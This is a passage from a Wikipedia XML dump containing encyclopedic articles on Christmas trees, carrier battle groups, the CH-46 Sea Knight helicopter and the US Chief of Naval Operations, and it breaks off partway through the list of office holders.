Artificial trees can be used for many years, but are usually non-recyclable, ending up in [[landfill]]s. Real trees are used only for a short time, but can be recycled and used as [[mulch]] or used to prevent [[erosion]] [http://doityourself.com/holiday/realorartificial.htm]. Real trees also help reduce the amount of [[carbon dioxide]] in the [[atmosphere]] while growing. 

Live trees are typically grown as a [[crop]] and replanted in rotation after cutting, often providing suitable [[habitat]] for wildlife. In some cases management of Christmas tree crops can result in poor habitat since it involves heavy input of [[pesticide]]s and [[herbicide]]s. [[Organic farming|Organically grown]] Christmas trees are available in some markets, and as with many other crops, are widely held to be better for the environment.

==Decoration and ornaments==
[[Tinsel]] and several types of [[garland (decoration)|garland]] or [[ribbon]] are commonly used to decorate a Christmas tree. Delicate mould-blown and painted coloured glass [[Christmas ornament]]s were a specialty of [[Czech lands|Czech]] glass factories from the late 19th century, and have since become a large industry, complete with famous-name designers. Lighting with [[candle]]s or electric lights ([[fairy lights]]) is commonly done, and a [[tree topper]] completes the ensemble.  Strands of [[tinsel]] may be hung in groups from longer branches to simulate [[icicle]]s, though this [[trend]] has gradually fallen off since the late 1970s. Baubles are another extremely common decoration, and usually consist of a fairly small hollow glass or plastic sphere coated with a thin metallic layer to make them reflective, and then with a further coating of a thin pigmented polymer in order to provide colouration.

Individuals' decorations vary wildly, typically being an eclectic mix of family traditions and personal tastes; even a small unattractive ornament, if passed down from a parent or grandparent, may come to carry considerable emotional value and be given pride of place on the tree. Conversely, trees decorated by professional designers for [[department store]]s and other institutions will usually have a &quot;theme&quot;; a set of predominant colours, multiple instances of each type of ornament, and larger decorations that may be more complicated to set up correctly.

Many people also decorate outdoor trees with food that [[bird]]s and other [[wildlife]] will enjoy, such as garlands made from unsalted [[popcorn]] or [[cranberry|cranberries]], [[orange (fruit)|orange]] halves, and seed-covered [[suet]] cakes.

===Tree mats and skirts===
Since [[candle]]s were used to light trees until electric bulbs came about, a [[mat]] (UK) or &quot;[[skirt]]&quot; (US) was often placed on the floor below the tree to protect it by catching the dripping candle [[wax]], and also to collect any needles that fall. Even when dripless candles, electric lights and artificial trees have been used, a skirt is still usually used as a decorative feature: among other things, it hides the tree [[stand]], which may be unsightly but which is an important [http://www.safety.com/articles/keeping-your-christmas-tree-safe.html safety feature] of home trees. What began as ordinary [[cloth]] has now often become much more ornate, some having [[embroidery]] or being put together like a [[quilt]].  

A [[nativity scene]], [[model train]], or [[Christmas village]] may be placed on the mat or skirt. As Christmas presents arrive, they are generally placed underneath the tree on the tree skirt (depending on tradition, all Christmas gifts, or those too large to be hung on the tree, as in &quot;presents on the tree&quot; of the song &quot;[[White Christmas (song)|White Christmas]]&quot;).   

Generally, the difference between a mat and skirt is simply that a mat is placed ''under'' the tree stand, while a skirt is placed ''over'' it, having a hole in the middle for the trunk, with a slot cut to the outside edge so that it can be placed around the tree (beneath the branches) easily.  A plain mat of fabric or plastic may also be placed under the stand and skirt to protect the floor from scratches or water.

===Flocking===
In the 1980s some trees were sprayed with fluffy white [[Flocking (texture)|flocking]] to simulate snow.  Typically it would be sprayed all over the tree from the sides, which produced a look different from real snow, which settles in clumps atop branches.  Flocking can be done with a professional sprayer at a tree lot (or the manufacturer if it is artificial), or at home from a spray can, and either can be rather messy.  This tradition seems to be limited mostly to the United States.

==Care and disposal of natural trees==
These tips will ensure the tree will stay fresh for several weeks.
# When transporting the tree, protect it from wind and road salts by covering it with plastic.
# If decoration is not planned immediately, store the tree in a cool environment protected from the sun and wind. If possible, the night before decorating, bring the tree into a partially heated area to allow it to adjust gradually to temperature changes.
# Before taking your tree inside, gently bang the tree on its stump several times to dislodge any loose needles. Just before placing it in the stand, cut 2-3 centimeters off the trunk. This allows the tree to continue taking up water, by removing the [[resin]]-soaked wood at the original cut.
# Make sure your tree has a sturdy Christmas tree stand that holds 4-6 litres of water. Check it daily. Only use plain water; research shows that additives such as sugar, cola and aspirin do more harm than good.
# Place your tree away from heat sources, including radiators and windows that get a lot of direct sunlight.

After the holidays, dead trees can be put to other uses:
* Use your tree as a [[bird feeder]], hanging [[suet]] balls or other food from the branches.
* Use needles in a [[sachet]].
* Use the tree as a [[bean]] or [[pea]] support pole.
* Trees can be cut into small pieces and use for [[mulch]] or [[compost]]ed; some cities offer this service to their residents.
* In [[coast]]al areas, trees can be used to protect [[sand dune]]s from erosion.

==History==

[[Image:Dionysus.jpg|left|thumb|[[Dionysus]] in his Triumphant Return; behind the god, [[Victoria (mythology)|Victoria]] holds an evergreen.]]

The Christmas tree is often explained as a [[Christianization]] of the ancient [[Paganism|pagan]] idea that the [[evergreen]] tree represents a celebration of the renewal of life. In [[Ancient Rome|Roman]] [[mosaic]]s from what is today [[Tunisia]], showing the mythic triumphant return from [[India]] of the [[Greek mythology|Greek]] god of [[wine]] and male [[fertility]], [[Dionysus]] (dubbed by some modern scholars as a [[life-death-rebirth deity]]), the god carries a tapering coniferous tree. [[Medieval]] legends, nevertheless, tended to concentrate more on the miraculous &quot;flowering&quot; of trees at Christmas time. A branch of flowering [[Glastonbury thorn]] is still sent annually for the Queen's Christmas table in the [[United Kingdom]].

[[Image:taiwan_christmas_tree_bunun.jpg|right|thumb|[[Taiwanese_aborigine|Taiwanese aboriginals]], tutored by Christian missionaries, celebrate with trees ([[Cunninghamia|''Cunninghamia lanceolata'']]) outside their homes.]]

Patron trees (for example, the [[Irminsul]], [[Thor's Oak]] and the figurative [[Yggdrasil]]) held special significance for the ancient [[Germanic peoples|Germanic tribes]], appearing throughout historic accounts as sacred symbols and objects. Among early Germanic tribes the [[Yule]] tradition was celebrated by sacrificing male animals and [[slavery|slaves]] by suspending them on the branches of trees. According to [[Adam of Bremen]], in [[Scandinavia]] the pagan kings sacrificed nine males of each species at the [[Sacred grove|sacred groves]] every ninth year. According to one legend, [[Saint Boniface]] attempted to introduce the idea of [[trinity]] to the pagan tribes using the cone-shaped evergreen trees because of their triangular appearance.

The modern custom, however, although likely related, cannot be proven to be directly descended from pagan tradition. It can be traced to 16th century [[Germany]]; [[Ingeborg Weber-Keller]] ([[Marburg]] professor of European [[ethnology]]) identified as the earliest reference a [[Bremen (city)|Bremen]] [[guild]] [[chronicle]] of 1570 which reports how a small fir was decorated with apples, nuts, dates, pretzels and paper flowers, and erected in the guild-house, for the benefit of the guild members' children, who collected the dainties on Christmas day. Another early reference is from [[Basel]], where the taylor apprentices carried around town a tree decorated with apples and cheese in 1597. The city of [[Riga, Latvia]] claims to be home of the first holiday tree, an octagonal plaque in the town square reads &quot;The First New Years Tree in Riga in 1510&quot;, in eight different languages. During the 17th century, the custom entered family homes. One [[Strasbourg]] priest, Johann Konrad Dannerhauer, complains about the custom as distracting from the word of God. By the early 18th century, the custom had become common in towns of the upper [[Rhineland]], but it had not yet spread to rural areas. Wax candles are attested from the late 18th century. The Christmas tree remained confined to the upper Rhineland for a relatively long time. It was regarded as a Protestant custom by the Catholic majority along the lower Rhine, and was spread there only by [[Kingdom of Prussia|Prussian]] officials who were moved there in the wake of the [[Congress of Vienna]] in 1815. In the early 19th century, the custom became popular among the nobility and spread to royal courts as far as Russia. Princess [[Henrietta von Nassau-Weilburg]] introduced the Christmas tree to [[Vienna]] in 1816, and the custom spread across Austria in the following years. In [[France]], the first Christmas tree was introduced in 1840 by the duchess of Orleans. 

[[Image:Godey'streeDec1850.GIF|thumb|left|200px|The Queen's Christmas tree at [[Osborne House]]. The engraving republished in ''[[Godey's Lady's Book]]'', Philadelphia, December 1850]]

In Britain, the Christmas tree was introduced by King George III's German Queen [[Charlotte of Mecklenburg-Strelitz]], but did not spread much beyond the royal family.  Queen Victoria as a child was familiar with the custom, in her journal for Christmas Eve 1832, the delighted 13-year-old Princess wrote: &quot;After dinner...we then went into the drawing-room near the dining-room...There were two large round tables on which were placed two trees hung with lights and sugar ornaments. All the presents being placed round the trees...&quot;.  After her marriage to her German cousin, [[Prince Albert of Saxe-Coburg-Gotha|Prince Albert]], the custom became even more widespread. In 1847, Prince Albert wrote: &quot;I must now seek in the children an echo of what Ernest [his brother] and I were in the old time, of what we felt and thought; and their delight in the Christmas-trees is not less than ours used to be&quot;. The generous Prince Albert also presented large numbers of trees to schools and army barracks at Christmas. Images of the royal family with their Christmas tree at [[Osborne House]] were illustrated in English magazines, initially as a [[woodcut]] in the [[Illustrated London News]] of December 1848, and copied in the [[United States]] at Christmas 1850 (''illustration, left''). Such patriotic prints of the British royal family at Christmas celebrations helped popularise the Christmas tree in Britain and among the anglophile American upper class.

There are several cities in the United States which lay claim to that country's first Christmas tree. [[Windsor Locks, Connecticut]] claims that a Hessian soldier put up a Christmas tree in 1777 while imprisoned at the Noden-Reed House, thus making it the home of the first Christmas tree in New England. The &quot;First Christmas Tree in America&quot; is also claimed by [[Easton, Pennsylvania]], where German settlers purportedly erected a Christmas tree in 1816.

Many [[cities]], [[town]]s, and [[department store]]s put up public Christmas trees outdoors for everyone to enjoy, such as the [[Rich's Great Tree]] in [[Atlanta, Georgia|Atlanta]], the [[Rockefeller Center Christmas Tree]] in [[New York City]] and the large Christmas tree  at [[Victoria Square]] in [[Adelaide]]. In some cities [[Festival of Trees|festivals]] are organised around the decoration and display of multiple trees as charity events. In some cases the trees represent special commemorative gifts, such as in [[Trafalgar Square]] in  [[London]] where the City of Oslo presents a tree to the people of London as a token of appreciation for the British support of Norwegian resistance during the [[World War II|Second World War]]; in [[Boston]] where the tree is a gift from the city of [[Halifax, Nova Scotia (former city)|Halifax]], [[Nova Scotia]], in thanks for rapid deployment of supplies and rescuers to the 1917 [[Halifax Explosion|ammunition ship explosion]] that leveled Halifax harbor; and in [[Newcastle upon Tyne]], where the 15 [[metre|m]] tall main civic Christmas tree is an annual gift from the city of [[Bergen, Norway|Bergen]], [[Norway]] in thanks for the part played by soldiers from Newcastle in liberating Bergen from [[Nazi]] occupation.

[[Image:National-christmas-tree-2004.jpg|thumb|National Christmas Tree in Washington, D.C.]]
The [[United States]]' [[National Christmas Tree]] is lit each year south of the [[White House]] in [[Washington, D.C.]] Today, the lighting of the National Tree is part of what has become a major holiday event at the White House. President [[Jimmy Carter]] only lit the crowning star atop the Tree in 1979 in honor of the Americans being [[Iran hostage crisis|held hostage in Iran]]; in 1980, the tree was only fully lit for 417 seconds, one second for each day the hostages had been in captivity.

The term ''[[Charlie Brown]] Christmas tree'' can be used to described any sad-looking, malformed little tree. Some tree buyers intentionally adopt such trees, feeling sympathetic to their plights. The term comes from the appearance of Charlie Brown's Christmas tree in the [[:Category:Christmas television specials|TV special]] ''[[A Charlie Brown Christmas]]''.

===Name controversy===
The term '''holiday tree''' has, since at least 1990 (and perhaps before), been used by some in the [[United States]], [[Canada]] and the [[UK]] to reflect the winter [[holiday season]] instead of any specific religious holiday. A recent campaign spearheaded by conservative [[Fox News Channel]] contributors [[Bill O'Reilly (commentator)|Bill O'Reilly]] and [[Sean Hannity]] has resulted in a backlash from some Christian groups and individuals who feel the designation &quot;holiday tree&quot; is part of the [[war on Christmas]].

===Usage controversy===
Some Christians, albeit a minority, feel that the practice of having &quot;Christmas Trees&quot; is prohibited by the [[Book of Jeremiah]] 10:1-5 which says,

:For the customs of the people [are] vain: for [one] cutteth a tree out of the forest, the work of the hands of the workman, with the axe. They deck it with silver and with gold; they fasten it with nails and with hammers, that it move not. They are upright as the palm tree, but speak not: they must needs be borne, because they cannot go. Be not afraid of them; for they cannot do evil, neither also is it in them to do good. [[KJV]].

Interpreting those verses as a ban on Christmas trees may be more common among individuals and [[Christian denomination|Christian denominations]] that are part of the [[King-James-Only Movement]].

In other [[English translations of the Bible]] the verses more explicitly refer to the practice of making idols to be worshipped:

:For the customs of the peoples are worthless; they cut a tree out of the forest, and a ''craftsman shapes it with his chisel''. They adorn it with silver and gold; they fasten it with a hammer and nails so it will not totter. Like a scarecrow in a melon patch, their idols cannot speak; ''they must be carried because they cannot walk''. ''Do not fear them''; they can do no harm nor can they do any good. (emphasis added) [[NIV]]

A full study of the passage shows that the people would cut down a tree and work it with a chisel to engrave an image in it.  They would also carry it from place to place as an object to be feared and worshipped. The only consistencies with Christmas tree customs seem to be that both are made of wood and both are decorated.

Some Christians, again a minority, feel that since &quot;Christmas Trees&quot; are not biblically ordained, they should not be used.  Such individuals and [[Christian denomination|Christian denominations]] are unlikely to celebrate [[Christmas]] at all, for the same reason, such as the [[United Church of God]].

Some churches use the same stripped Christmas tree as a [[Christian cross]] at [[Easter]]. This is comparable to the [[Old English]] poem [[The Dream of the Rood]].

==See also==
*[[Christmas customs in Germany]]
*[[New Year Tree]]

==External links==
{{commons|Christmas tree}}
*[http://www.nps.gov/whho/pageant/nctrees/1923/  US National Christmas Tree]
*[http://www.royalinsight.gov.uk/output/Page2821.asp British Royal Family Christmas trees]
*[http://www.firstchristmastree.com Riga, Latvia purported home of the original Christmas Tree]
*[http://www.conifers.org/topics/xmastree.htm An iconoclastic look at artificial Christmas trees, at the Gymnosperm Database]
*[http://realtytimes.com/printrtpages/20031212_fauxtree.htm Artificial tree usage data in the USA]
*[http://www.BCTGA.co.uk The British Christmas Tree Growers Association homepage]
*[http://www.sots.ct.gov/RegisterManual/SectionX/MUSEUMS.htm 1777 Christmas tree in Windsor Locks, CT]

[[Category:Christmas traditions]]
[[Category:Trees]]
[[Category:Conifers]]

[[als:Christbaum]]
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[[es:Árbol de Navidad]]
[[fr:Sapin de Noël]]
[[he:עץ חג המולד]]
[[id:Pohon Natal]]
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[[ja:クリスマスツリー]]
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[[zh:圣诞树]]</text>
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  <page>
    <title>Corporativism</title>
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      <text xml:space="preserve">#REDIRECT [[Corporatism]]
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  <page>
    <title>Carrier battle group</title>
    <id>7772</id>
    <revision>
      <id>41716123</id>
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      <minor />
      <comment>[[zh:航空母艦戰鬥群]]</comment>
      <text xml:space="preserve">[[Image:Abraham-Lincoln-battlegroup.jpg|thumb|350px|right|The Abraham Lincoln battle group during the 2000 RIMPAC exercises]]

The '''carrier battle group''' ('''CVBG or CARBATGRU''') or '''carrier strike group''' ('''CVSG''') is a fleet of ships in support of an [[aircraft carrier]]. Such groups are primarily used by the [[United States Navy]], which has 12 carrier battle groups scattered across the world. Their existence is an important part of the [[power projection]] capability of the [[United States]] in that they provide the ability to strike quickly almost anywhere in the world.

The large number of CVBGs used by the United States reflects, in part, a division of labor allotted during the [[Cold War]], in which the United States assumed primary responsibility for [[blue water]] operations and for safeguarding supply lines between the United States and [[Europe]], while the [[NATO]] allies assumed responsibility for [[maritime geography|brown and green water]] operations.

==Design==
The need for a battle group is due to the fact that while the aircraft carrier has the ability to project a large amount of air power, it is vulnerable to attack from other surface ships and submarines. One way of looking at the CVBG is that the carrier performs the mission assigned to it while the primary role of the other ships is in protection of the carrier.

CVBGs have no definitive specification and are formed and dissolved on an ad-hoc basis, and one may be different from another. However, they all comprise similar types of ships, and a typical U.S. carrier battle group might include:
* a carrier, usually [[Nimitz class aircraft carrier|''Nimitz'']]-class &amp;mdash; The carrier provides a wide range of options to the U.S. government, ranging from simply showing the flag, to attacks on airborne, afloat and ashore targets. Because carriers operate in [[international waters]], their aircraft do not need to secure landing rights on foreign soil. These ships also engage in sustained operations in support of other forces. The carrier is the flagship of the battle group, with the commanding [[rear admiral]] on board, making use of the advanced combat information center and communications suite.
* two [[guided missile cruiser]]s, usually [[Ticonderoga class cruiser|''Ticonderoga'']] class &amp;mdash; multi-mission surface combatants, equipped with [[Tomahawk missile]]s for long-range strike capability.
* two to three [[guided missile destroyer]]s, usually [[Arleigh Burke class destroyer|''Arleigh Burke'']]-class &amp;mdash; multi-mission surface combatant, used primarily for anti-air warfare (AAW) and anti-submarine warfare (ASW)
* a [[frigate]], usually [[Oliver Hazard Perry class frigate|''Oliver Hazard Perry'']]-class &amp;mdash; primarily for anti-submarine warfare (ASW)
* two attack [[submarine]]s, usually [[Los Angeles class submarine|'' Los Angeles'']]-class &amp;mdash; in a direct support role seeking out and destroying hostile surface ships and submarines
* a combined ammunition, [[Oiler (ship)|oiler]], and [[supply ship]], usually [[fast combat support ship|''Sacramento'']] or ''Supply'' class &amp;mdash; provides logistic support enabling the Navy's forward presence: on station, ready to respond

The Carrier Battle Group (CVBG) could be employed in a variety of roles, most of which would involve the gaining and maintenance of sea control:
* Protection of economic and/or military shipping.
* Protection of a [[USMC|Marine]] amphibious force while en route to, and upon arrival in, an amphibious objective area.
* Establishing [[air superiority]] or [[Air supremacy|supremacy]] in an area in combination with land-based aircraft.
* Establishing a naval presence in support of national interests.

==History==
The CVBG was first used in [[World War II]], primarily in conflicts between the United States and [[Japan]] in the [[Pacific Ocean|Pacific]]. CVBGs at the time consisted of a far larger number of ships than current CVBGs, and this marked the only time CVBGs have fought each other, notably at the [[Battle of Midway]].

During the Cold War, the main role of the CVBG in case of conflict with the [[Soviet Union]] would have been to protect Atlantic supply routes between the United States and Europe. Because the Soviet Union had no large carriers of its own, a situation of duelling aircraft carriers would have been unlikely. The main scenario of interest would have been an attack against a CVBG using large number of anti-ship [[cruise missile]]s. The attempted use of anti-ship missiles against a carrier group was part of [[Argentina]]'s efforts against [[United Kingdom|Britain]] in the [[Falklands War]].

In the late [[20th century|20th]] and early [[21st century|21st]] centuries, most of the uses of CVBGs by the United States have been in situations in which their use has been uncontested. The main scenario involving carriers coming under fire which is of interest to naval strategists has been a conflict between the United States and the [[People's Republic of China]] over [[Taiwan]]. There is a consensus among observers that most of the military effort expended by the [[People's Liberation Army]] since the 1990s has been to at least complicate the deployment of a CVBG in a [[Taiwan straits conflict]].

==Debate on Future Viability==
There is debate in naval warfare circles as to the viability of carrier battle groups in 21st century naval warfare. Proponents of the CVBG argue that it provides unmatched fire power and force projection capabilities. Opponents argue that CVBGs are increasingly vulnerable to [[arsenal ship]]s and [[cruise missile]]s, especially those with [[supersonic]] flight and the ability to do radical trajectory changes to avoid anti-missile systems. It is also noted that that CVBGs were designed for [[Cold War]] scenarios, and are less useful in establishing control of areas close to shore.

See also [[Modern naval tactics]].

[[Category:Aircraft carriers]]

[[de:Carrier Vessel Battle Group]]
[[zh:航空母艦戰鬥群]]</text>
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  <page>
    <title>CH-46 Sea Knight</title>
    <id>7773</id>
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      <id>41656357</id>
      <timestamp>2006-02-28T21:08:49Z</timestamp>
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      <text xml:space="preserve">&lt;table border=&quot;1&quot; width=&quot;310&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;&gt;

&lt;tr&gt;&lt;th colspan=&quot;3&quot; align=&quot;center&quot; bgcolor=&quot;skyblue&quot;&gt;CH-46 Sea Knight&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;3&quot;&gt;[[image:sea.knight.cv-46.750pix.jpg|300px|October 20, 2002: members of the [[Marine expeditionary unit|22nd Marine Expeditionary Unit]] board a CH-46 Sea Knight helicopter on [[USS Saipan (LHA-2)|USS ''Saipan'']], during beach-landing training.]]&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;th colspan=&quot;3&quot; align=&quot;center&quot; bgcolor=&quot;skyblue&quot;&gt;'''Description'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Role&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt;Medium assault helicopter&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Crew&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt;3 (2 pilots, crewman) + 25 troops&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;th colspan=&quot;3&quot; align=&quot;center&quot; bgcolor=&quot;skyblue&quot;&gt;'''Dimensions'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Length&lt;/td&gt;&lt;td&gt;84 ft 4 in (overall)&lt;br /&gt;45 ft 8 in (fuselage)&lt;/td&gt;&lt;td&gt;25.72 m&lt;br /&gt;13.92 m&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Width (Fuselage)&lt;/td&gt;&lt;td&gt;7 ft 3 in&lt;/td&gt;&lt;td&gt;2.2 m&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Height&lt;/td&gt;&lt;td&gt;16 ft 8.5 in&lt;/td&gt;&lt;td&gt;5.1 m&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Rotor diameter&lt;/td&gt;&lt;td&gt;51 ft (each)&lt;/td&gt;&lt;td&gt;15.54 m (each)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=&quot;3&quot; align=&quot;center&quot; bgcolor=&quot;skyblue&quot;&gt;'''Weights'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Empty&lt;/td&gt;&lt;td&gt;15,537 lb&lt;/td&gt;&lt;td&gt;7,047 kg&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Loaded&lt;/td&gt;&lt;td&gt;17,396 lb (with armor, guns and ammo)&lt;/td&gt;&lt;td&gt;7,891 kg&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Maximum take-off&lt;/td&gt;&lt;td&gt;24,300 lb&lt;/td&gt;&lt;td&gt;11,022 kg&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=&quot;3&quot; align=&quot;center&quot; bgcolor=&quot;skyblue&quot;&gt;'''Powerplant'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Engines&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt;2 [[General Electric T58|General Electric T58-GE-16]] turboshaft&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Power&lt;/td&gt;&lt;td&gt;1,870 shp each&lt;/td&gt;&lt;td&gt;1.4 MW&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=&quot;3&quot; align=&quot;center&quot; bgcolor=&quot;skyblue&quot;&gt;'''Performance'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Maximum speed&lt;/td&gt;&lt;td&gt;165 mph&lt;/td&gt;&lt;td&gt;265 km/h&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Combat range&lt;/td&gt;&lt;td&gt;184 mi&lt;/td&gt;&lt;td&gt;296 km&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Ferry range&lt;/td&gt;&lt;td&gt;420 mi&lt;/td&gt;&lt;td&gt;676 km&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Service ceiling&lt;/td&gt;&lt;td&gt;14,000 ft&lt;/td&gt;&lt;td&gt;4,267 m&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Rate of climb&lt;/td&gt;&lt;td&gt;2,045 ft/min&lt;/td&gt;&lt;td&gt;623 m/min&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=&quot;3&quot; align=&quot;center&quot; bgcolor=&quot;skyblue&quot;&gt;'''Armament'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Guns&lt;/td&gt;&lt;td colspan=2&gt;2 .50-caliber [[machine gun]]s (optional)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bombs&lt;/td&gt;&lt;td colspan=2&gt;None&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

The '''CH-46D Sea Knight''' [[helicopter]] is a medium lift assault helicopter, used by the [[United States Navy]] for shipboard delivery of cargo, personnel, and search &amp; rescue. The '''CH-46E''' is used by the [[United States Marine Corps]] to provide all-weather, day-or-night assault transport of combat troops, supplies and equipment. Assault Support is its primary function, and the movement of supplies and equipment is secondary. Additional tasks may be assigned, such as combat support, search and rescue, support for forward refueling and rearming points, aeromedic evacuation of casualties from the field, and recovery of [[aircraft]] and personnel.

The CH-46 Sea Knight was first procured in [[1960]] under the old designation of '''HRB-1''' to meet the medium-lift requirements of the [[United States Marine Corps]] in all combat and peacetime environments since that time. The final production version was the CH-46F. In all, 524 H-46s were produced for the Navy and Marine Corps. The last Sea Knight rolled off the assembly line in February of 1971.  The fleet is currently being maintained until a suitable replacement is approved.

On [[September 24]], [[2004]] the USN retired the type, seeing it replaced by the [[SH-60 Seahawk|MH-60 Knighthawk]]. The USMC is replacing its CH-46's with the [[V-22 Osprey]]. The first V-22 squadron, HMM-263, will be stood up in March of 2006 and renamed VMM-263.  The replacement process is expected to continue through the other medium helicopter squadrons, into 2014.

===Variants===
* [[CH-113 Labrador]] : Search and rescue version for the Royal Canadian air Force.

== General characteristics ==
*Contractor: Boeing Vertol Company
*Introduction date: January [[1978]]
[[Image:Canada CH-113 Labrador.jpg|thumb|left|250px|A CH-113 Labrador]]
[[Image:CH-46 Sea Knight on USS Saipan.jpg|thumb|left|250px|April 1, 2004: Sailors from [[USS Saipan (LHA-2)]] rush out to unchain a CH-46 Sea Knight.]]
[[Image:ch-46e.jpg|thumb|left|250px|Marines load a simulated casualty onto a CH-46E Sea Knight helicopter while conducting convoy operations training at Camp Dawson, West Virginia]]

{{commons|CH-46 Sea Knight}}
{{airlistbox}}

[[Category:Helicopters]]
[[Category:U.S. military transport aircraft 1960-1969]]
[[Category:United States Marine Corps equipment]]

[[de:Boeing-Vertol 107]]</text>
    </revision>
  </page>
  <page>
    <title>Chief of Naval Operations</title>
    <id>7774</id>
    <revision>
      <id>39928282</id>
      <timestamp>2006-02-16T22:03:32Z</timestamp>
      <contributor>
        <username>ERcheck</username>
        <id>514304</id>
      </contributor>
      <comment>updated &quot;as of&quot; from 2005 to 2006, reference added</comment>
      <text xml:space="preserve">:''CNO redirects here. For the executive position, see [[Chief Networking Officer]].''
{|align=&quot;right&quot; width=150|
| [[Image:ChiefOfNavalOperationsFlag.png|thumb|150px|Flag of the Chief of Naval Operations]]
|-
| [[Image:ChiefOfNavalOperationsSeal.png|thumb|150px|Seal of the Chief of Naval Operations]]
|}
The '''Chief of Naval Operations''' ('''CNO''') is the senior military officer in the [[United States Navy]]. The CNO is an [[admiral]] (four-star) and is responsible to the [[Secretary of the Navy]] for the command, utilization of resources and operating efficiency of the operating forces of the Navy and of the Navy shore activities assigned by the Secretary. The CNO has administrative, rather than operational command authority over United States naval forces. The operational [[chain of command]] runs from the [[Secretary of Defense]] directly to the [[combatant commanders]], who have command authority over all military forces in their region.  This structure, in which the service chiefs are responsible for personnel and readiness issues, while the combatant commanders are operationally responsible for the command of the military forces, is intended to allow the United States military the ability to function as a coherent whole.

A member of the [[Joint Chiefs of Staff]], the CNO is the principal naval advisor to the [[President of the United States]], the Secretary of Defense, and the Secretary of the Navy on the conduct of war, and is the principal advisor and naval executive to the Secretary on the conduct of naval activities of the [[United States Department of the Navy]]. Assistants are the [[Vice Chief of Naval Operations]] (VCNO), the [[Deputy Chiefs of Naval Operations]] (DCNOs) and a number of other ranking officers. These officers and their staffs are collectively known as the [[Office of the Chief of Naval Operations]] (OpNav).

==List of CNOs==
{|
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[William S. Benson]]   
| &amp;nbsp; || ([[May 11|May 11]] [[1915]] 
| &amp;ndash; &amp;nbsp; [[September 25|Sept. 25]] [[1919]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Robert E. Coontz]]     
|  || ([[November 1|Nov. 1]] [[1919]] 
| &amp;ndash; &amp;nbsp; [[July 21|July 21]] [[1923]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Edward W. Eberle]]     
|  || ([[July 21|July 21]] [[1923]] 
| &amp;ndash; &amp;nbsp; [[November 14|Nov. 14]] [[1927]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Charles F. Hughes]]    
|  || ([[November 14|Nov. 14]] [[1927]] 
| &amp;ndash; &amp;nbsp; [[September 17|Sept. 17]] [[1930]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[William V. Pratt]]     
|  || ([[September 17|Sept. 17]] [[1930]] 
| &amp;ndash; &amp;nbsp; [[June 30|June 30]] [[1933]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[William H. Standley]]   
|  || ([[July 1|July 1]] [[1933]] 
| &amp;ndash; &amp;nbsp; [[January 1|Jan. 1]] [[1937]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || [[Fleet Admiral (U.S.)|Fleet Admiral]] [[William D. Leahy]]     
|  || ([[January 2|Jan. 2]] [[1937]] 
| &amp;ndash; &amp;nbsp; [[August 1|Aug. 1]] [[1939]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Harold R. Stark]]     
|  || ([[August 1|Aug. 1]] [[1939]] 
| &amp;ndash; &amp;nbsp; [[March 2|Mar. 2]] [[1942]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Fleet Admiral [[Ernest J. King]] 
|  || ([[March 2|Mar. 26]] [[1942]] 
| &amp;ndash; &amp;nbsp; [[December|Dec. 15]] [[1945]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; ||Fleet Admiral [[Chester W. Nimitz]] 
|  || ([[December|Dec. 15]] [[1945]] 
| &amp;ndash; &amp;nbsp; [[December|Dec. 15]] [[1947]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Louis E. Denfeld]]     
|  || ([[December|Dec. 15]] [[1947]] 
| &amp;ndash; &amp;nbsp; [[November 2|Nov. 2]] [[1949]])
|-
